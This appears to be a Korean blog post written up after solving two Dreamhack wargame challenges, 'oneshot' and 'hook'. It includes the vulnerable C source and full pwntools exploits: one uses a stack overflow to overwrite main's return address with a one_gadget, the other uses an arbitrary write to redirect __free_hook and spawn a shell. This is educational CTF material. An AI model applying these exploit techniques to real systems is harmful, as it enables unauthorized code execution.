TIL: oneshot, Hook Overwrite ๐Ÿ”ซ

Wargame: oneshot

๋ฌธ์ œ์˜ ์†Œ์Šค ์ฝ”๋“œ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

Vulnerability scanning

  • checksec

    canary๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ์ง€ ์•Š์ง€๋งŒ, ์†Œ์Šค ์ฝ”๋“œ ๋‚ด์˜ check์ด ์ผ์ข…์˜ canary์˜ ์—ญํ• ์„ ์ˆ˜ํ–‰ํ•˜๊ณ  ์žˆ๋‹ค.

  • stdout์˜ ์ฃผ์†Œ๊ฐ€ ๋…ธ์ถœ๋œ๋‹ค. โ†’ one_gadget์˜ ์ฃผ์†Œ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.
  • MSG๋ฅผ ์ž…๋ ฅ๋ฐ›๋Š” ๋ถ€๋ถ„์—์„œ stack buffer overflow๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค. ์ฝ”๋“œ ๋งˆ์ง€๋ง‰์˜ memset์— ์˜ํ•ด msg ๋‚ด์˜ ๊ฐ’์€ ๋ชจ๋‘ 0์œผ๋กœ ์ง€์›Œ์ง€์ง€๋งŒ, buffer ๋ฐ–์œผ๋กœ ๋„˜์ณ๋‚œ ๊ฐ’์€ ๊ทธ๋Œ€๋กœ ์œ ์ง€๋œ๋‹ค.

one_gadget ์ฐพ๊ธฐ

Stack frame ๊ตฌ์กฐ ํŒŒ์•…ํ•˜๊ธฐ

gdb๋ฅผ ์ด์šฉํ•ด stack frame์˜ ๊ตฌ์กฐ๋ฅผ ํŒŒ์•…ํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด stack์ด ๊ตฌ์„ฑ๋˜์–ด ์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค:

  • msg -> 0x10 bytes
  • dummy -> 0x8 bytes
  • check -> 0x8 bytes
  • sfp -> 0x8 bytes
  • return address -> 0x8 bytes

Exploit

**main์˜ return address๋ฅผ one_gadget์˜ ์ฃผ์†Œ๋กœ overwriteํ•œ๋‹ค.**

from pwn import *

p = remote("host3.dreamhack.games", 9713)
libc = ELF("./libc.so.6")

p.recvuntil("stdout: ")
libc_base = int(p.recvline()[:-1], 16) - libc.symbols["_IO_2_1_stdout_"]
og = libc_base + 0x4526a

p.recvuntil("MSG: ")
payload = b"A"*(0x10 + 0x8)
payload += p64(0) # check์ด 0์ธ์ง€ ๊ฒ€์‚ฌํ•˜๋Š” ์ฝ”๋“œ๋ฅผ bypassํ•˜๊ธฐ ์œ„ํ•จ
payload += b"A"*0x8
payload += p64(og)
p.sendline(payload)

p.interactive()
  • ์ฃผ์˜ํ•  ์ ์œผ๋กœ, libc_base๋ฅผ ๊ตฌํ•  ๋•Œ ๋นผ์ฃผ๋Š” ๊ฐ’์„ libc.symbols["stdout"]๋กœ ์ž…๋ ฅํ•˜๋ฉด ์•ˆ๋œ๋‹ค. gdb๋ฅผ ํ†ตํ•ด ์ •ํ™•ํ•œ ์ด๋ฆ„์„ ํ™•์ธํ•˜๋ฉด "_IO_2_1_stdout_"์ด ์‚ฌ์šฉ๋˜๊ณ  ์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

Wargame: hook

๋ฌธ์ œ์˜ ์†Œ์Šค ์ฝ”๋“œ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

Vulnerability scanning

  • checksec

  • stdout์˜ ์ฃผ์†Œ๊ฐ€ ๋…ธ์ถœ๋œ๋‹ค.
  • *(long *)*ptr = *(ptr+1); โ†’ malloc์œผ๋กœ ํ• ๋‹น๋œ ๋ฉ”๋ชจ๋ฆฌ์˜ ์ฒซ ๋ฒˆ์งธ 8 byte์— ์ ํ˜€ ์žˆ๋Š” ๋ถ€๋ถ„์˜ ์ฃผ์†Œ๋กœ ๋‘ ๋ฒˆ์งธ 8 byte์— ์ ํ˜€ ์žˆ๋Š” ๊ฐ’์„ ์ž‘์„ฑํ•œ๋‹ค. โ‡’ ์›ํ•˜๋Š” ์ฃผ์†Œ์— ์›ํ•˜๋Š” 8 byte์˜ ๊ฐ’์„ ์ž‘์„ฑํ•  ์ˆ˜ ์žˆ๋‹ค. (key point)
  • ํ”„๋กœ๊ทธ๋žจ์˜ ๋งˆ์ง€๋ง‰์— system("/bin/sh")๊ฐ€ ์žˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ํ”„๋กœ๊ทธ๋žจ์˜ ํ๋ฆ„์œผ๋กœ๋Š” free๊ฐ€ ๋‘ ๋ฒˆ ์‹คํ–‰๋˜๋ฉฐ error๊ฐ€ ๋ฐœ์ƒํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์‹ค์ œ๋กœ๋Š” ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค.

Exploit

one_gadget ์ฐพ๋Š” ๊ณผ์ •์€ ์œ„์™€ ๋™์ผํ•˜๋‹ค.

from pwn import *

p = remote("host3.dreamhack.games", 21497)
libc = ELF("./libc.so.6")

p.recvuntil("stdout: ")
libc_base = int(p.recvline()[:-1], 16) - libc.symbols["_IO_2_1_stdout_"]
free_hook = libc_base + libc.symbols["__free_hook"]
og = libc_base + 0x4f302

p.recvuntil("Size: ")
p.sendline("16")

p.recvuntil("Data: ")
payload = p64(free_hook) + p64(og)
p.sendline(payload)

p.interactive()
  • ์œ„ ํ’€์ด์—์„œ๋Š” free_hook์„ og๋กœ overwriteํ–ˆ์ง€๋งŒ, free_hook์„ ๊ทธ๋ƒฅ retํ•˜๋Š” gadget์œผ๋กœ overwriteํ•˜์—ฌ ํ”„๋กœ๊ทธ๋žจ ๋งˆ์ง€๋ง‰์— ์žˆ๋Š” system("/bin/sh")์ด ์‹คํ–‰๋˜๋„๋ก ํ•  ์ˆ˜๋„ ์žˆ๋‹ค. ๊ทธ๋ƒฅ ROPgadget์œผ๋กœ retํ•˜๋Š” gadget์˜ ์ฃผ์†Œ๋ฅผ ์ฐพ๊ณ , ์ด ์ฃผ์†Œ๋กœ free_hook์„ overwriteํ•˜๊ธฐ๋งŒ ํ•˜๋ฉด ๋œ๋‹ค.

Categories: ,

Updated:

Leave a comment